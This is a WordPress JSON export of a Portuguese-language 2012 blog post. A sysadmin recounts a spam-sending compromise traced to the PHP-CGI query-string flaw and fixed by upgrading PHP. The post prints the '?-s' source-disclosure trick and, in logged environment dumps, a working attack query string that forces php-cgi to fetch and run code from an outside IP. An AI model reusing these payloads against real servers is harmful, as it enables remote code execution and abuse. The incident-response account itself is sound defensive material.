{"id":397,"date":"2012-06-08T16:10:38","date_gmt":"2012-06-08T19:10:38","guid":{"rendered":"http:\/\/thiagosantos.com\/blog\/?p=397"},"modified":"2012-06-08T17:31:22","modified_gmt":"2012-06-08T20:31:22","slug":"php-cgi-query-string-parameters-vulnerabitily","status":"publish","type":"post","link":"https:\/\/thiagosantos.com\/blog\/397\/php\/php-cgi-query-string-parameters-vulnerabitily\/","title":{"rendered":"PHP-CGI query string parameters vulnerabitily"},"content":{"rendered":"<p>Uma massa de emails que lotou o espa\u00e7o em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espa\u00e7o em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execu\u00e7\u00e3o de c\u00f3digo\u00a0arbitr\u00e1rio\u00a0a partir dos\u00a0par\u00e2metros\u00a0de linha de comando. Ou seja com o comando<\/p>\n<pre>http:\/\/localhost\/index.php?-s<\/pre>\n<p>Voc\u00ea\u00a0obt\u00e9m\u00a0o\u00a0conte\u00fado\u00a0do c\u00f3digo PHP. Isso \u00e9 muito bizarro!<\/p>\n<h2><span style=\"color: #3366ff;\">1. O que estava acontecendo?<\/span><\/h2>\n<p>Uma massa de emails de spam estavam sendo enviados como sendo da Fedex, identificamos esses emails e paramos o Postfix. No momento em que paramos, observamos a crescente fila de email e o decrescente espa\u00e7o em disco.<\/p>\n<p>Localizamos o foco da invas\u00e3o, um dos sites que administramos estava com permiss\u00e3o na pasta e nos arquivos de usu\u00e1rio e grupo para o www-data. E o spammer havia criado um arquivo chamado pagenews.php e umas varia\u00e7\u00f5es de w98089n.php (w[0-9]{1,8}n.php, mais ou menos isso).<br \/>\n<!--more--><br \/>\nO arquivo pagenews.php e as suas c\u00f3pias w[0-9]{1,8}n.php continham um exploid com uma lista de diretorios, op\u00e7\u00f5es de criar, remover e editar aquivos, enviar email, e enviar em lote, al\u00e9m de um console e auto-remove.<\/p>\n<p>De imediato criamos uma copia do pagenews.php, para analizarmos depois, e em seguida deletamos todos os arquivos. Em seguida mudamos as permiss\u00f5es da pasta e arquivos para um usu\u00e1rio padr\u00e3o e seguro.\u00a0Com isso achamos que os disparos de emails fosse parar, mas n\u00e3o foi o que aconteceu, a fila de emails s\u00f3 crescia.<\/p>\n<p>Dai ent\u00e3o procuramos por todo o servidor por rastros de outros arquivos e n\u00e3o encontramos nada!<\/p>\n<h1><span style=\"color: #3366ff;\">2. O que fizemos?<\/span><\/h1>\n<p>Nesse servidor invadido s\u00f3 roda PHP, ou seja estavam de alguma forma usando a fun\u00e7\u00e3o mail() para disparar spams. Dai seguindo as dicas desse site (<a href=\"http:\/\/www.howtoforge.com\/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam\">http:\/\/www.howtoforge.com\/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam<\/a>) criei um wrapper pra monitorar o envio dos emails usando a fun\u00e7\u00e3o mail do PHP. Funcionou muito bem, dai fiz um up nele. Na verdade eu n\u00e3o queria s\u00f3 saber de qual site estava sendo disparado o email, mas queria saber tamb\u00e9m de qual script php, e quais parametros estavam sendo passados para ele, logo o meu <em>phpsendmail<\/em> ficou assim.<\/p>\n<p><em>\/usr\/local\/bin\/phpsendmail<\/em><\/p>\n<pre style=\"overflow: auto, height: 300px;\" lang=\"php\">#!\/usr\/bin\/php\r\n\r\n<!--?php \r\n\r\n\/**\r\n  This script is a sendmail wrapper for php to log calls of the php mail()\r\nfunction.\r\n  Author: Till Brehm, www.ispconfig.org\r\n  (Hopefully) secured by David Goodwin <david @ _palepurple_.co.uk-->\r\n*\/\r\n\r\n$sendmail_bin = '\/usr\/sbin\/sendmail';\r\n$logfile = '\/var\/log\/mail.form';\r\n\r\n\/\/* Get the email content\r\n$logline = '';\r\n$pointer = fopen('php:\/\/stdin', 'r');\r\n\r\nwhile ($line = fgets($pointer)) {\r\n        if(preg_match('\/^to:\/i', $line) || preg_match('\/^from:\/i', $line)) {\r\n                $logline .= trim($line).' ';\r\n        }\r\n        $mail .= $line;\r\n}\r\n\r\n\/\/* compose the sendmail command\r\n$command = 'echo ' . escapeshellarg($mail) . ' | '.$sendmail_bin.' -t -i';\r\nfor ($i = 1; $i &lt; $_SERVER['argc']; $i++) {         $command .= escapeshellarg($_SERVER['argv'][$i]).' '; } \/\/* Write the log file_put_contents($logfile, date('Y-m-d H:i:s') . ' ' . \" \\n\\n ----\\n\".print_r($_ENV,true).\"\\n\\n\" . ' '     .$logline.\"\\n\\n\", FILE_APPEND); \/\/* Execute the command return shell_exec($command); ?&gt;<\/pre>\n<p>O passo a passo pode seguir o do link do site que eu mandei, o wrapper recomendo usar o meu que fica mais f\u00e1cil de ver as\u00a0vari\u00e1veis\u00a0de ambiente no momento da execu\u00e7\u00e3o do c\u00f3digo.<\/p>\n<p>Feito isso, comecei a monitorar o \/var\/log\/mail.form com o comando tail.<\/p>\n<p>shell~# tail -f \/var\/log\/mail.form<\/p>\n<p>O retorno foi inesperado e surpreendente como segue:<\/p>\n<pre>To: xxxxxxx@yahoo.com From: \"FedEx Service\" &lt;information@fedex.com&gt;\r\n\r\n2012-06-08 12:16:32\r\n\r\n ----\r\nArray\r\n(\r\n    [SERVER_SIGNATURE] =&gt; &lt;address&gt;Apache\/2.2.9 (Debian) PHP\/4.4.6-2 proxy_html\/3.0.0 mod_python\/3.3.1 Python\/2.5.2 mod_ssl\/2.2.9 OpenSSL\/0.9.8g mod_perl\/2.0.4 Perl\/v5.10.0 Server at meusiteemphp.com.br Port 80&lt;\/address&gt;\r\n\r\n    [ORIG_PATH_TRANSLATED] =&gt; \/var\/www\/sites\/meusiteemphp\/index.php\r\n    [REDIRECT_SCRIPT_URL] =&gt; \/index.php\r\n    [HTTP_USER_AGENT] =&gt; Mozilla\/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox\/11.0\r\n    [SERVER_PORT] =&gt; 80\r\n    [HTTP_HOST] =&gt; meusiteemphp.com.br\r\n    [REDIRECT_SCRIPT_URI] =&gt; http:\/\/meusiteemphp.com.br\/index.php\r\n    [HTTP_EXPECT] =&gt; 100-continue\r\n    [REDIRECT_HANDLER] =&gt; php5-cgi\r\n    [DOCUMENT_ROOT] =&gt; \/var\/www\/sites\/meusiteemphp\r\n    [SCRIPT_FILENAME] =&gt; \/var\/www\/sites\/meusiteemphp\/index.php\r\n    [REQUEST_URI] =&gt; \/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt\r\n    [SCRIPT_NAME] =&gt; \/index.php\r\n    [SCRIPT_URI] =&gt; http:\/\/meusiteemphp.com.br\/index.php\r\n    [REMOTE_PORT] =&gt; 32822\r\n    [ORIG_SCRIPT_FILENAME] =&gt; \/usr\/lib\/cgi-bin\/php5\r\n    [PATH] =&gt; \/usr\/local\/bin:\/usr\/bin:\/bin\r\n    [SCRIPT_URL] =&gt; \/index.php\r\n    [PWD] =&gt; \/var\/www\/sites\/meusiteemphp\r\n    [SERVER_ADMIN] =&gt; exemplo@exemplo.com.br\r\n    [REDIRECT_STATUS] =&gt; 200\r\n    [REDIRECT_QUERY_STRING] =&gt; -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt\r\n    [ORIG_SCRIPT_NAME] =&gt; \/php5-cgi\r\n    [HTTP_ACCEPT] =&gt; *\/*\r\n    [REMOTE_ADDR] =&gt; 31.184.244.28\r\n    [SHLVL] =&gt; 1\r\n    [SERVER_NAME] =&gt; meusiteemphp.com.br\r\n    [CONTENT_LENGTH] =&gt; 370977\r\n    [SERVER_SOFTWARE] =&gt; Apache\/2.2.9 (Debian) PHP\/4.4.6-2 proxy_html\/3.0.0 mod_python\/3.3.1 Python\/2.5.2 mod_ssl\/2.2.9 OpenSSL\/0.9.8g mod_perl\/2.0.4 Perl\/v5.10.0\r\n    [QUERY_STRING] =&gt; -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt\r\n    [SERVER_ADDR] =&gt; 173.255.255.255\r\n    [GATEWAY_INTERFACE] =&gt; CGI\/1.1\r\n    [SERVER_PROTOCOL] =&gt; HTTP\/1.1\r\n    [REDIRECT_URL] =&gt; \/index.php\r\n    [CONTENT_TYPE] =&gt; multipart\/form-data; boundary=----------------------------0e65a7f6d6ad\r\n    [REQUEST_METHOD] =&gt; POST\r\n    [ORIG_PATH_INFO] =&gt; \/index.php\r\n    [_] =&gt; \/usr\/local\/bin\/phpsendmail\r\n)<\/pre>\n<p>Aten\u00e7\u00e3o aos indices REQUEST_URI e REQUEST_HANDLER. Ataque claro:<\/p>\n<pre>-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt<\/pre>\n<p>Peguei o arquivo send.txt e tinha um c\u00f3digo todo organizado e bonitinho para envio de email. Com esses parametros a invas\u00e3o estava dada, foi assim que o spammer conseguiu criar o arquivo pagenews.php e seus derivados, e mesmo ap\u00f3s deletarmos os arquivos ele continuou mandando email.<\/p>\n<p>Achei o seguinte no PHP.net\u00a0<a href=\"https:\/\/bugs.php.net\/bug.php?id=61910\">https:\/\/bugs.php.net\/bug.php?id=61910<\/a>\u00a0:<\/p>\n<pre>According to PHP's website, \"PHP is a widely-used general-purpose\r\nscripting language that is especially suited for Web development and\r\ncan be embedded into HTML.\" When PHP is used in a CGI-based setup\r\n(such as Apache's mod_cgid), the php-cgi receives a processed query\r\nstring parameter as command line arguments which allows command-line\r\nswitches, such as -s, -d or -c to be passed to the php-cgi binary,\r\nwhich can be exploited to disclose source code and obtain arbitrary\r\ncode execution.<\/pre>\n<p>Dito e feito, funcionou de verdade, e o pior que foi comigo.<br \/>\nMas fica para aprendermos.<\/p>\n<h1><span style=\"color: #3366ff;\">3. O que foi feito?<\/span><\/h1>\n<p>Atualizamos a vers\u00e3o do PHP da 5.2.6 para a 5.4.3 e aparentemente o envio em massa de email foi interrompido, de qualquer forma continuamos o monitoramento dos emails.<\/p>\n<p>Boa sorte!<\/p>\n<p>Referencias:<br \/>\n<a href=\"http:\/\/www.php.net\/archive\/2012.php#id2012-05-03-1\">http:\/\/www.php.net\/archive\/2012.php#id2012-05-03-1<\/a><br \/>\n<a href=\"https:\/\/bugs.php.net\/bug.php?id=61910\">https:\/\/bugs.php.net\/bug.php?id=61910<\/a><br \/>\n<a href=\"http:\/\/www.howtoforge.com\/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam\">http:\/\/www.howtoforge.com\/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Uma massa de emails que lotou o espa\u00e7o em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espa\u00e7o em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execu\u00e7\u00e3o de c\u00f3digo arbitr\u00e1rio a partir dos par\u00e2metros de linha de comando<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[25,33,4,24],"tags":[140,177,141,142],"class_list":["post-397","post","type-post","status-publish","format-standard","hentry","category-apache","category-linux","category-php","category-webservers","tag-invasao-cgi","tag-linux","tag-php-cgi","tag-query-string-vunerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v24.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>PHP-CGI query string parameters vulnerabitily - Pereira, Thiago Santos.<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/thiagosantos.com\/blog\/397\/php\/php-cgi-query-string-parameters-vulnerabitily\/\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"PHP-CGI query string parameters vulnerabitily - Pereira, Thiago Santos.\" \/>\n<meta property=\"og:description\" content=\"Uma massa de emails que lotou o espa\u00e7o em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espa\u00e7o em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execu\u00e7\u00e3o de c\u00f3digo arbitr\u00e1rio a partir dos par\u00e2metros de linha de comando\" \/>\n<meta property=\"og:url\" content=\"https:\/\/thiagosantos.com\/blog\/397\/php\/php-cgi-query-string-parameters-vulnerabitily\/\" \/>\n<meta property=\"og:site_name\" content=\"Pereira, Thiago Santos.\" \/>\n<meta property=\"article:published_time\" content=\"2012-06-08T19:10:38+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2012-06-08T20:31:22+00:00\" \/>\n<meta name=\"author\" content=\"Pereira, Thiago Santos\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Pereira, Thiago Santos\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. tempo de leitura\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/thiagosantos.com\/blog\/397\/php\/php-cgi-query-string-parameters-vulnerabitily\/\",\"url\":\"https:\/\/thiagosantos.com\/blog\/397\/php\/php-cgi-query-string-parameters-vulnerabitily\/\",\"name\":\"PHP-CGI query string parameters vulnerabitily - Pereira, Thiago Santos.\",\"isPartOf\":{\"@id\":\"https:\/\/thiagosantos.com\/blog\/#website\"},\"datePublished\":\"2012-06-08T19:10:38+00:00\",\"dateModified\":\"2012-06-08T20:31:22+00:00\",\"author\":{\"@id\":\"https:\/\/thiagosantos.com\/blog\/#\/schema\/person\/56683334c52027e200fd9270c17c629d\"},\"inLanguage\":\"pt-BR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/thiagosantos.com\/blog\/397\/php\/php-cgi-query-string-parameters-vulnerabitily\/\"]}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/thiagosantos.com\/blog\/#website\",\"url\":\"https:\/\/thiagosantos.com\/blog\/\",\"name\":\"Pereira, Thiago Santos.\",\"description\":\"the fun of code.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/thiagosantos.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pt-BR\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/thiagosantos.com\/blog\/#\/schema\/person\/56683334c52027e200fd9270c17c629d\",\"name\":\"Pereira, Thiago Santos\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pt-BR\",\"@id\":\"https:\/\/thiagosantos.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ed936469f86e5f07085e7540b2c0a115?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ed936469f86e5f07085e7540b2c0a115?s=96&d=mm&r=g\",\"caption\":\"Pereira, Thiago Santos\"},\"description\":\"Um cara que mora no Rio e n\u00e3o sabe nadar.\",\"sameAs\":[\"http:\/\/thiagosantos.com\"],\"url\":\"https:\/\/thiagosantos.com\/blog\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"PHP-CGI query string parameters vulnerabitily - Pereira, Thiago Santos.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/thiagosantos.com\/blog\/397\/php\/php-cgi-query-string-parameters-vulnerabitily\/","og_locale":"pt_BR","og_type":"article","og_title":"PHP-CGI query string parameters vulnerabitily - Pereira, Thiago Santos.","og_description":"Uma massa de emails que lotou o espa\u00e7o em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espa\u00e7o em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execu\u00e7\u00e3o de c\u00f3digo arbitr\u00e1rio a partir dos par\u00e2metros de linha de comando","og_url":"https:\/\/thiagosantos.com\/blog\/397\/php\/php-cgi-query-string-parameters-vulnerabitily\/","og_site_name":"Pereira, Thiago Santos.","article_published_time":"2012-06-08T19:10:38+00:00","article_modified_time":"2012-06-08T20:31:22+00:00","author":"Pereira, Thiago Santos","twitter_misc":{"Escrito por":"Pereira, Thiago Santos","Est. tempo de leitura":"6 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/thiagosantos.com\/blog\/397\/php\/php-cgi-query-string-parameters-vulnerabitily\/","url":"https:\/\/thiagosantos.com\/blog\/397\/php\/php-cgi-query-string-parameters-vulnerabitily\/","name":"PHP-CGI query string parameters vulnerabitily - Pereira, Thiago Santos.","isPartOf":{"@id":"https:\/\/thiagosantos.com\/blog\/#website"},"datePublished":"2012-06-08T19:10:38+00:00","dateModified":"2012-06-08T20:31:22+00:00","author":{"@id":"https:\/\/thiagosantos.com\/blog\/#\/schema\/person\/56683334c52027e200fd9270c17c629d"},"inLanguage":"pt-BR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/thiagosantos.com\/blog\/397\/php\/php-cgi-query-string-parameters-vulnerabitily\/"]}]},{"@type":"WebSite","@id":"https:\/\/thiagosantos.com\/blog\/#website","url":"https:\/\/thiagosantos.com\/blog\/","name":"Pereira, Thiago Santos.","description":"the fun of code.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/thiagosantos.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pt-BR"},{"@type":"Person","@id":"https:\/\/thiagosantos.com\/blog\/#\/schema\/person\/56683334c52027e200fd9270c17c629d","name":"Pereira, Thiago Santos","image":{"@type":"ImageObject","inLanguage":"pt-BR","@id":"https:\/\/thiagosantos.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ed936469f86e5f07085e7540b2c0a115?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ed936469f86e5f07085e7540b2c0a115?s=96&d=mm&r=g","caption":"Pereira, Thiago Santos"},"description":"Um cara que mora no Rio e n\u00e3o sabe nadar.","sameAs":["http:\/\/thiagosantos.com"],"url":"https:\/\/thiagosantos.com\/blog\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/posts\/397","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/comments?post=397"}],"version-history":[{"count":8,"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/posts\/397\/revisions"}],"predecessor-version":[{"id":401,"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/posts\/397\/revisions\/401"}],"wp:attachment":[{"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/media?parent=397"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/categories?post=397"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/tags?post=397"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}